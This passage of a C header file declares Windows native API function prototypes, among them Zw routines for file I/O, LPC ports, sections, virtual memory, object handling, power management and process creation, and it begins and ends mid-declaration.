PLARGE_INTEGER Length,\r\n    IN ULONG Key,\r\n    IN BOOLEAN FailImmediately,\r\n    IN BOOLEAN ExclusiveLock\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwOpenFile (\r\n    OUT PHANDLE FileHandle,\r\n    IN ACCESS_MASK DesiredAccess,\r\n    IN POBJECT_ATTRIBUTES ObjectAttributes,\r\n    OUT PIO_STATUS_BLOCK IoStatusBlock,\r\n    IN ULONG ShareAccess,\r\n    IN ULONG OpenOptions\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwQueryDirectoryFile (\r\n    IN HANDLE FileHandle,\r\n    _In_opt_ HANDLE Event,\r\n    _In_opt_ PIO_APC_ROUTINE ApcRoutine,\r\n    _In_opt_ PVOID ApcContext,\r\n    OUT PIO_STATUS_BLOCK IoStatusBlock,\r\n    OUT PVOID FileInformation,\r\n    IN ULONG Length,\r\n    IN FILE_INFORMATION_CLASS FileInformationClass,\r\n    IN BOOLEAN ReturnSingleEntry,\r\n    _In_opt_ PUNICODE_STRING FileName,\r\n    IN BOOLEAN RestartScan\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwQueryInformationFile (\r\n    IN HANDLE FileHandle,\r\n    OUT PIO_STATUS_BLOCK IoStatusBlock,\r\n    OUT PVOID FileInformation,\r\n    IN ULONG Length,\r\n    IN FILE_INFORMATION_CLASS FileInformationClass\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwQueryQuotaInformationFile (\r\n    IN HANDLE FileHandle,\r\n    OUT PIO_STATUS_BLOCK IoStatusBlock,\r\n    OUT PVOID Buffer,\r\n    IN ULONG Length,\r\n    IN BOOLEAN ReturnSingleEntry,\r\n    _In_opt_ PVOID  SidList,\r\n    IN ULONG SidListLength,\r\n    _In_opt_ PSID StartSid,\r\n    IN BOOLEAN RestartScan\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwQueryVolumeInformationFile (\r\n    IN HANDLE FileHandle,\r\n    OUT PIO_STATUS_BLOCK IoStatusBlock,\r\n    OUT PVOID FsInformation,\r\n    IN ULONG Length,\r\n    IN FS_INFORMATION_CLASS FsInformationClass\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwReadFile (\r\n    IN HANDLE FileHandle,\r\n    _In_opt_ HANDLE Event,\r\n    _In_opt_ PIO_APC_ROUTINE ApcRoutine,\r\n    _In_opt_ PVOID ApcContext,\r\n    OUT PIO_STATUS_BLOCK IoStatusBlock,\r\n    OUT PVOID Buffer,\r\n    IN ULONG Length,\r\n    _In_opt_ PLARGE_INTEGER ByteOffset,\r\n    _In_opt_ PULONG Key\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwSetInformationFile (\r\n    IN HANDLE FileHandle,\r\n    OUT PIO_STATUS_BLOCK IoStatusBlock,\r\n    IN PVOID FileInformation,\r\n    IN ULONG Length,\r\n    IN FILE_INFORMATION_CLASS FileInformationClass\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwSetQuotaInformationFile (\r\n    IN HANDLE FileHandle,\r\n    OUT PIO_STATUS_BLOCK IoStatusBlock,\r\n    IN PVOID Buffer,\r\n    IN ULONG Length\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwSetVolumeInformationFile (\r\n    IN HANDLE FileHandle,\r\n    OUT PIO_STATUS_BLOCK IoStatusBlock,\r\n    IN PVOID FsInformation,\r\n    IN ULONG Length,\r\n    IN FS_INFORMATION_CLASS FsInformationClass\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwWriteFile (\r\n    IN HANDLE FileHandle,\r\n    _In_opt_ HANDLE Event,\r\n    _In_opt_ PIO_APC_ROUTINE ApcRoutine,\r\n    _In_opt_ PVOID ApcContext,\r\n    OUT PIO_STATUS_BLOCK IoStatusBlock,\r\n    IN PVOID Buffer,\r\n    IN ULONG Length,\r\n    _In_opt_ PLARGE_INTEGER ByteOffset,\r\n    _In_opt_ PULONG Key\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwUnlockFile (\r\n    IN HANDLE FileHandle,\r\n    OUT PIO_STATUS_BLOCK IoStatusBlock,\r\n    IN PLARGE_INTEGER ByteOffset,\r\n    IN PLARGE_INTEGER Length,\r\n    IN ULONG Key\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwReadFileScatter (\r\n    IN HANDLE FileHandle,\r\n    IN OPTIONAL HANDLE Event,\r\n    IN OPTIONAL PIO_APC_ROUTINE ApcRoutine,\r\n    IN OPTIONAL PVOID ApcContext,\r\n    OUT PIO_STATUS_BLOCK IoStatusBlock,\r\n    IN PFILE_SEGMENT_ELEMENT SegmentArray,\r\n    IN ULONG Length,\r\n    IN OPTIONAL PLARGE_INTEGER ByteOffset,\r\n    IN OPTIONAL PULONG Key\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwSetEaFile (\r\n    IN HANDLE FileHandle,\r\n    OUT PIO_STATUS_BLOCK IoStatusBlock,\r\n    IN PVOID Buffer,\r\n    IN ULONG Length\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwWriteFileGather (\r\n    IN HANDLE FileHandle,\r\n    IN OPTIONAL HANDLE Event,\r\n    IN OPTIONAL PIO_APC_ROUTINE ApcRoutine,\r\n    IN OPTIONAL PVOID ApcContext,\r\n    OUT PIO_STATUS_BLOCK IoStatusBlock,\r\n    IN PFILE_SEGMENT_ELEMENT SegmentArray,\r\n    IN ULONG Length,\r\n    IN OPTIONAL PLARGE_INTEGER ByteOffset,\r\n    IN OPTIONAL PULONG Key\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwLoadDriver (\r\n    IN PUNICODE_STRING DriverServiceName\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwUnloadDriver (\r\n    IN PUNICODE_STRING DriverServiceName\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwCreateIoCompletion (\r\n    OUT PHANDLE IoCompletionHandle,\r\n\tIN ACCESS_MASK DesiredAccess,\r\n    IN OPTIONAL POBJECT_ATTRIBUTES ObjectAttributes,\r\n    IN ULONG Count OPTIONAL\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwOpenIoCompletion (\r\n    OUT PHANDLE IoCompletionHandle,\r\n    IN ACCESS_MASK DesiredAccess,\r\n    IN POBJECT_ATTRIBUTES ObjectAttributes\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwQueryIoCompletion (\r\n    IN HANDLE IoCompletionHandle,\r\n    IN IO_COMPLETION_INFORMATION_CLASS IoCompletionInformationClass,\r\n    OUT PVOID IoCompletionInformation,\r\n    IN ULONG IoCompletionInformationLength,\r\n\t\tOUT OPTIONAL PULONG ReturnLength\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwSetIoCompletion (\r\n    IN HANDLE IoCompletionHandle,\r\n    IN PVOID KeyContext,\r\n    IN OPTIONAL PVOID ApcContext,\r\n    IN NTSTATUS IoStatus,\r\n    IN ULONG_PTR IoStatusInformation\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwRemoveIoCompletion (\r\n    IN HANDLE IoCompletionHandle,\r\n    OUT PVOID *KeyContext,\r\n    OUT PVOID *ApcContext,\r\n    OUT PIO_STATUS_BLOCK IoStatusBlock,\r\n    IN OPTIONAL PLARGE_INTEGER Timeout\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwCallbackReturn (\r\n    IN PVOID OutputBuffer OPTIONAL,\r\n    IN ULONG OutputLength,\r\n    IN NTSTATUS Status\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwQueryDebugFilterState (\r\n    IN ULONG ComponentId,\r\n    IN ULONG Level\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwSetDebugFilterState (\r\n    IN ULONG ComponentId,\r\n    IN ULONG Level,\r\n    IN BOOLEAN State\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwYieldExecution (\r\n    VOID\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwCreatePort(\r\n    OUT PHANDLE PortHandle,\r\n    IN POBJECT_ATTRIBUTES ObjectAttributes,\r\n    IN ULONG MaxConnectionInfoLength,\r\n    IN ULONG MaxMessageLength,\r\n    IN OPTIONAL ULONG MaxPoolUsage\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwCreateWaitablePort(\r\n    OUT PHANDLE PortHandle,\r\n    IN POBJECT_ATTRIBUTES ObjectAttributes,\r\n    IN ULONG MaxConnectionInfoLength,\r\n    IN ULONG MaxMessageLength,\r\n    IN OPTIONAL ULONG MaxPoolUsage\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwConnectPort(\r\n    OUT PHANDLE PortHandle,\r\n    IN PUNICODE_STRING PortName,\r\n    IN PSECURITY_QUALITY_OF_SERVICE SecurityQos,\r\n    _Inout_opt_ PPORT_VIEW ClientView,\r\n    _Inout_opt_ PREMOTE_PORT_VIEW ServerView,\r\n    OUT OPTIONAL PULONG MaxMessageLength,\r\n    _Inout_opt_ PVOID ConnectionInformation,\r\n    _Inout_opt_ PULONG ConnectionInformationLength\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwSecureConnectPort(\r\n    OUT PHANDLE PortHandle,\r\n    IN PUNICODE_STRING PortName,\r\n    IN PSECURITY_QUALITY_OF_SERVICE SecurityQos,\r\n    _Inout_opt_ PPORT_VIEW ClientView,\r\n    IN OPTIONAL PSID RequiredServerSid,\r\n    _Inout_opt_ PREMOTE_PORT_VIEW ServerView,\r\n    OUT OPTIONAL PULONG MaxMessageLength,\r\n    _Inout_opt_ PVOID ConnectionInformation,\r\n    _Inout_opt_ PULONG ConnectionInformationLength\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwListenPort(\r\n    IN HANDLE PortHandle,\r\n    OUT PPORT_MESSAGE ConnectionRequest\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwAcceptConnectPort(\r\n    OUT PHANDLE PortHandle,\r\n    IN OPTIONAL PVOID PortContext,\r\n    IN PPORT_MESSAGE ConnectionRequest,\r\n    IN BOOLEAN AcceptConnection,\r\n    _Inout_opt_ PPORT_VIEW ServerView,\r\n    OUT OPTIONAL PREMOTE_PORT_VIEW ClientView\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwCompleteConnectPort(\r\n    IN HANDLE PortHandle\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwRequestPort(\r\n    IN HANDLE PortHandle,\r\n    IN PPORT_MESSAGE RequestMessage\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwRequestWaitReplyPort(\r\n    IN HANDLE PortHandle,\r\n    IN PPORT_MESSAGE RequestMessage,\r\n    OUT PPORT_MESSAGE ReplyMessage\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwReplyPort(\r\n    IN HANDLE PortHandle,\r\n    IN PPORT_MESSAGE ReplyMessage\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwReplyWaitReplyPort(\r\n    IN HANDLE PortHandle,\r\n    _Inout_ PPORT_MESSAGE ReplyMessage\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwReplyWaitReceivePort(\r\n    IN HANDLE PortHandle,\r\n    OUT OPTIONAL PVOID *PortContext ,\r\n    IN OPTIONAL PPORT_MESSAGE ReplyMessage,\r\n    OUT PPORT_MESSAGE ReceiveMessage\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwReplyWaitReceivePortEx(\r\n    IN HANDLE PortHandle,\r\n    OUT OPTIONAL PVOID *PortContext,\r\n    IN OPTIONAL PPORT_MESSAGE ReplyMessage,\r\n    OUT PPORT_MESSAGE ReceiveMessage,\r\n    IN OPTIONAL PLARGE_INTEGER Timeout\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwImpersonateClientOfPort(\r\n    IN HANDLE PortHandle,\r\n    IN PPORT_MESSAGE Message\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwReadRequestData(\r\n    IN HANDLE PortHandle,\r\n    IN PPORT_MESSAGE Message,\r\n    IN ULONG DataEntryIndex,\r\n    OUT PVOID Buffer,\r\n    IN SIZE_T BufferSize,\r\n    OUT OPTIONAL PSIZE_T NumberOfBytesRead\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwWriteRequestData(\r\n    IN HANDLE PortHandle,\r\n    IN PPORT_MESSAGE Message,\r\n    IN ULONG DataEntryIndex,\r\n    IN PVOID Buffer,\r\n    IN SIZE_T BufferSize,\r\n    OUT OPTIONAL PSIZE_T NumberOfBytesWritten\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwQueryInformationPort(\r\n    IN HANDLE PortHandle,\r\n    IN PORT_INFORMATION_CLASS PortInformationClass,\r\n    OUT PVOID PortInformation,\r\n    IN ULONG Length,\r\n    OUT OPTIONAL PULONG ReturnLength\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwCreateSection (\r\n    OUT PHANDLE SectionHandle,\r\n    IN ACCESS_MASK DesiredAccess,\r\n    IN OPTIONAL POBJECT_ATTRIBUTES ObjectAttributes,\r\n    IN OPTIONAL PLARGE_INTEGER MaximumSize,\r\n    IN ULONG SectionPageProtection,\r\n    IN ULONG AllocationAttributes,\r\n    IN OPTIONAL HANDLE FileHandle\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwOpenSection (\r\n    OUT PHANDLE SectionHandle,\r\n    IN ACCESS_MASK DesiredAccess,\r\n    IN POBJECT_ATTRIBUTES ObjectAttributes\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwMapViewOfSection (\r\n    IN HANDLE SectionHandle,\r\n    IN HANDLE ProcessHandle,\r\n    _Inout_  PVOID *BaseAddress,\r\n    IN ULONG_PTR ZeroBits,\r\n    IN SIZE_T CommitSize,\r\n    _Inout_  OPTIONAL PLARGE_INTEGER SectionOffset,\r\n    _Inout_  PSIZE_T ViewSize,\r\n    IN SECTION_INHERIT InheritDisposition,\r\n    IN ULONG AllocationType,\r\n    IN ULONG Win32Protect\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwUnmapViewOfSection (\r\n    IN HANDLE ProcessHandle,\r\n    IN PVOID BaseAddress\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwExtendSection (\r\n    IN HANDLE SectionHandle,\r\n    _Inout_ PLARGE_INTEGER NewSectionSize\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwAreMappedFilesTheSame (\r\n    IN PVOID File1MappedAsAnImage,\r\n    IN PVOID File2MappedAsFile\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwAllocateVirtualMemory (\r\n    IN HANDLE ProcessHandle,\r\n    _Inout_ PVOID *BaseAddress,\r\n    IN ULONG_PTR ZeroBits,\r\n    _Inout_ PSIZE_T RegionSize,\r\n    IN ULONG AllocationType,\r\n    IN ULONG Protect\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwFreeVirtualMemory (\r\n    IN HANDLE ProcessHandle,\r\n    _Inout_ PVOID *BaseAddress,\r\n    _Inout_ PSIZE_T RegionSize,\r\n    IN ULONG FreeType\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwReadVirtualMemory (\r\n    IN HANDLE ProcessHandle,\r\n    IN OPTIONAL PVOID BaseAddress,\r\n    OUT PVOID Buffer,\r\n    IN SIZE_T BufferSize,\r\n    OUT OPTIONAL PSIZE_T NumberOfBytesRead\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwWriteVirtualMemory (\r\n    IN HANDLE ProcessHandle,\r\n    IN OPTIONAL PVOID BaseAddress,\r\n    IN CONST VOID *Buffer,\r\n    IN SIZE_T BufferSize,\r\n    OUT OPTIONAL PSIZE_T NumberOfBytesWritten\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwFlushVirtualMemory (\r\n    IN HANDLE ProcessHandle,\r\n    _Inout_ PVOID *BaseAddress,\r\n    _Inout_ PSIZE_T RegionSize,\r\n    OUT PIO_STATUS_BLOCK IoStatus\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwLockVirtualMemory (\r\n    IN HANDLE ProcessHandle,\r\n    _Inout_ PVOID *BaseAddress,\r\n    _Inout_ PSIZE_T RegionSize,\r\n    IN ULONG MapType\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwUnlockVirtualMemory (\r\n    IN HANDLE ProcessHandle,\r\n    _Inout_ PVOID *BaseAddress,\r\n    _Inout_ PSIZE_T RegionSize,\r\n    IN ULONG MapType\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwProtectVirtualMemory (\r\n    IN HANDLE ProcessHandle,\r\n    _Inout_ PVOID *BaseAddress,\r\n    _Inout_ PSIZE_T RegionSize,\r\n    IN ULONG NewProtect,\r\n    OUT PULONG OldProtect\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwQueryVirtualMemory (\r\n    IN HANDLE ProcessHandle,\r\n    IN PVOID BaseAddress,\r\n    IN MEMORY_INFORMATION_CLASS MemoryInformationClass,\r\n    OUT PVOID MemoryInformation,\r\n    IN SIZE_T MemoryInformationLength,\r\n    OUT OPTIONAL PSIZE_T ReturnLength\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwQuerySection (\r\n    IN HANDLE SectionHandle,\r\n    IN SECTION_INFORMATION_CLASS SectionInformationClass,\r\n    OUT PVOID SectionInformation,\r\n    IN SIZE_T SectionInformationLength,\r\n    OUT OPTIONAL PSIZE_T ReturnLength\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwMapUserPhysicalPages (\r\n    IN PVOID VirtualAddress,\r\n    IN ULONG_PTR NumberOfPages,\r\n    IN OPTIONAL PULONG_PTR UserPfnArray\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwMapUserPhysicalPagesScatter (\r\n    IN PVOID *VirtualAddresses,\r\n    IN ULONG_PTR NumberOfPages,\r\n    IN OPTIONAL PULONG_PTR UserPfnArray\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwAllocateUserPhysicalPages (\r\n    IN HANDLE ProcessHandle,\r\n    _Inout_ PULONG_PTR NumberOfPages,\r\n    OUT PULONG_PTR UserPfnArray\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwFreeUserPhysicalPages (\r\n    IN HANDLE ProcessHandle,\r\n    _Inout_ PULONG_PTR NumberOfPages,\r\n    IN PULONG_PTR UserPfnArray\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwGetWriteWatch (\r\n    IN HANDLE ProcessHandle,\r\n    IN ULONG Flags,\r\n    IN PVOID BaseAddress,\r\n    IN SIZE_T RegionSize,\r\n    OUT PVOID *UserAddressArray,\r\n    _Inout_ PULONG_PTR EntriesInUserAddressArray,\r\n    OUT PULONG Granularity\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwResetWriteWatch (\r\n    IN HANDLE ProcessHandle,\r\n    IN PVOID BaseAddress,\r\n    IN SIZE_T RegionSize\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwCreatePagingFile (\r\n    IN PUNICODE_STRING PageFileName,\r\n    IN PLARGE_INTEGER MinimumSize,\r\n    IN PLARGE_INTEGER MaximumSize,\r\n    IN ULONG Priority\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwFlushInstructionCache (\r\n    IN HANDLE ProcessHandle,\r\n    IN OPTIONAL PVOID BaseAddress,\r\n    IN SIZE_T Length\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwFlushWriteBuffer (\r\n    VOID\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwQueryObject (\r\n    IN HANDLE Handle,\r\n    IN OBJECT_INFORMATION_CLASS ObjectInformationClass,\r\n    OUT PVOID ObjectInformation,\r\n    IN ULONG ObjectInformationLength,\r\n    OUT PULONG ReturnLength\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwSetInformationObject (\r\n    IN HANDLE Handle,\r\n    IN OBJECT_INFORMATION_CLASS ObjectInformationClass,\r\n    IN PVOID ObjectInformation,\r\n    IN ULONG ObjectInformationLength\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwDuplicateObject (\r\n    IN HANDLE SourceProcessHandle,\r\n    IN HANDLE SourceHandle,\r\n    IN OPTIONAL HANDLE TargetProcessHandle,\r\n    OUT PHANDLE TargetHandle,\r\n    IN ACCESS_MASK DesiredAccess,\r\n    IN ULONG HandleAttributes,\r\n    IN ULONG Options\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwMakeTemporaryObject (\r\n    IN HANDLE Handle\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwMakePermanentObject (\r\n    IN HANDLE Handle\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwSignalAndWaitForSingleObject (\r\n    IN HANDLE SignalHandle,\r\n    IN HANDLE WaitHandle,\r\n    IN BOOLEAN Alertable,\r\n    IN OPTIONAL PLARGE_INTEGER Timeout\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwWaitForSingleObject (\r\n    IN HANDLE Handle,\r\n    IN BOOLEAN Alertable,\r\n    IN OPTIONAL PLARGE_INTEGER Timeout\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwWaitForMultipleObjects (\r\n    IN ULONG Count,\r\n    IN HANDLE Handles[],\r\n    IN WAIT_TYPE WaitType,\r\n    IN BOOLEAN Alertable,\r\n    IN OPTIONAL PLARGE_INTEGER Timeout\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwWaitForMultipleObjects32 (\r\n    IN ULONG Count,\r\n    IN LONG Handles[],\r\n    IN WAIT_TYPE WaitType,\r\n    IN BOOLEAN Alertable,\r\n    IN OPTIONAL PLARGE_INTEGER Timeout\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwSetSecurityObject (\r\n    IN HANDLE Handle,\r\n    IN SECURITY_INFORMATION SecurityInformation,\r\n    IN PSECURITY_DESCRIPTOR SecurityDescriptor\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwQuerySecurityObject (\r\n    IN HANDLE Handle,\r\n    IN SECURITY_INFORMATION SecurityInformation,\r\n    OUT PSECURITY_DESCRIPTOR SecurityDescriptor,\r\n    IN ULONG Length,\r\n    OUT PULONG LengthNeeded\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwClose (\r\n    IN HANDLE Handle\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwCreateDirectoryObject (\r\n    OUT PHANDLE DirectoryHandle,\r\n    IN ACCESS_MASK DesiredAccess,\r\n    IN POBJECT_ATTRIBUTES ObjectAttributes\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwOpenDirectoryObject (\r\n    OUT PHANDLE DirectoryHandle,\r\n    IN ACCESS_MASK DesiredAccess,\r\n    IN POBJECT_ATTRIBUTES ObjectAttributes\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwQueryDirectoryObject (\r\n    IN HANDLE DirectoryHandle,\r\n    OUT PVOID Buffer,\r\n    IN ULONG Length,\r\n    IN BOOLEAN ReturnSingleEntry,\r\n    IN BOOLEAN RestartScan,\r\n    _Inout_  PULONG Context,\r\n    OUT PULONG ReturnLength\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwCreateSymbolicLinkObject (\r\n    OUT PHANDLE LinkHandle,\r\n    IN ACCESS_MASK DesiredAccess,\r\n    IN POBJECT_ATTRIBUTES ObjectAttributes,\r\n    IN PUNICODE_STRING LinkTarget\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwOpenSymbolicLinkObject (\r\n    OUT PHANDLE LinkHandle,\r\n    IN ACCESS_MASK DesiredAccess,\r\n    IN POBJECT_ATTRIBUTES ObjectAttributes\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwQuerySymbolicLinkObject (\r\n    IN HANDLE LinkHandle,\r\n    _Inout_  PUNICODE_STRING LinkTarget,\r\n    OUT PULONG ReturnedLength\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwGetPlugPlayEvent (\r\n    IN HANDLE EventHandle,\r\n    IN OPTIONAL PVOID Context,\r\n    OUT PPLUGPLAY_EVENT_BLOCK EventBlock,\r\n    IN  ULONG EventBufferSize\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwPlugPlayControl(\r\n    IN PLUGPLAY_CONTROL_CLASS PnPControlClass,\r\n    _Inout_ PVOID PnPControlData,\r\n    IN ULONG PnPControlDataLength\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwPowerInformation(\r\n    IN POWER_INFORMATION_LEVEL InformationLevel,\r\n    IN OPTIONAL PVOID InputBuffer,\r\n    IN ULONG InputBufferLength,\r\n    OUT OPTIONAL PVOID OutputBuffer,\r\n    IN ULONG OutputBufferLength\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwSetThreadExecutionState(\r\n    IN EXECUTION_STATE esFlags,               // ES_xxx flags\r\n    OUT EXECUTION_STATE *PreviousFlags\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwRequestWakeupLatency(\r\n    IN LATENCY_TIME latency\r\n    );\r\n\r\n\r\n\r\n// NTSTATUS\r\n// NTAPI\r\n// ZwInitiatePowerAction(\r\n//     IN POWER_ACTION SystemAction,\r\n//     IN SYSTEM_POWER_STATE MinSystemState,\r\n//     IN ULONG Flags,                 // POWER_ACTION_xxx flags\r\n//     IN BOOLEAN Asynchronous\r\n//     );\r\n\r\n\r\n\r\n// NTSTATUS\r\n// NTAPI\r\n// ZwSetSystemPowerState(\r\n//     IN POWER_ACTION SystemAction,\r\n//     IN SYSTEM_POWER_STATE MinSystemState,\r\n//     IN ULONG Flags                  // POWER_ACTION_xxx flags\r\n//     );\r\n\r\n\r\n\r\n// NTSTATUS\r\n// NTAPI\r\n// ZwGetDevicePowerState(\r\n//     IN HANDLE Device,\r\n//     OUT DEVICE_POWER_STATE *State\r\n//     );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwCancelDeviceWakeupRequest(\r\n    IN HANDLE Device\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwRequestDeviceWakeup(\r\n    IN HANDLE Device\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwCreateProcess (\r\n    OUT PHANDLE ProcessHandle,\r\n    IN ACCESS_MASK DesiredAccess,\r\n    IN OPTIONAL POBJECT_ATTRIBUTES ObjectAttributes,\r\n    IN HANDLE ParentProcess,\r\n    IN BOOLEAN InheritObjectTable,\r\n    IN OPTIONAL HANDLE SectionHandle,\r\n    IN OPTIONAL HANDLE DebugPort,\r\n    IN OPTIONAL HANDLE ExceptionPort\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwCreateProcessEx (\r\n    OUT PHANDLE ProcessHandle,\r\n    IN ACCESS_MASK DesiredAccess,\r\n    IN OPTIONAL POBJECT_ATTRIBUTES ObjectAttributes,\r\n    IN HANDLE ParentProcess,\r\n    IN ULONG Flags,\r\n    IN OPTIONAL HANDLE SectionHandle,\r\n    IN OPTIONAL HANDLE DebugPort,\r\n    IN OPTIONAL HANDLE ExceptionPort,\r\n    IN ULONG JobMemberLevel\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwOpenProcess (\r\n    OUT PHANDLE ProcessHandle,\r\n    IN ACCESS_MASK DesiredAccess,\r\n    IN POBJECT_ATTRIBUTES ObjectAttributes,\r\n    IN OPTIONAL PCLIENT_ID ClientId\r\n    );\r\n\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nZwTerminateProcess (\r\n    IN OPTIONAL HANDLE ProcessHandle,\r\n    IN NTSTATUS ExitStatus\r\n    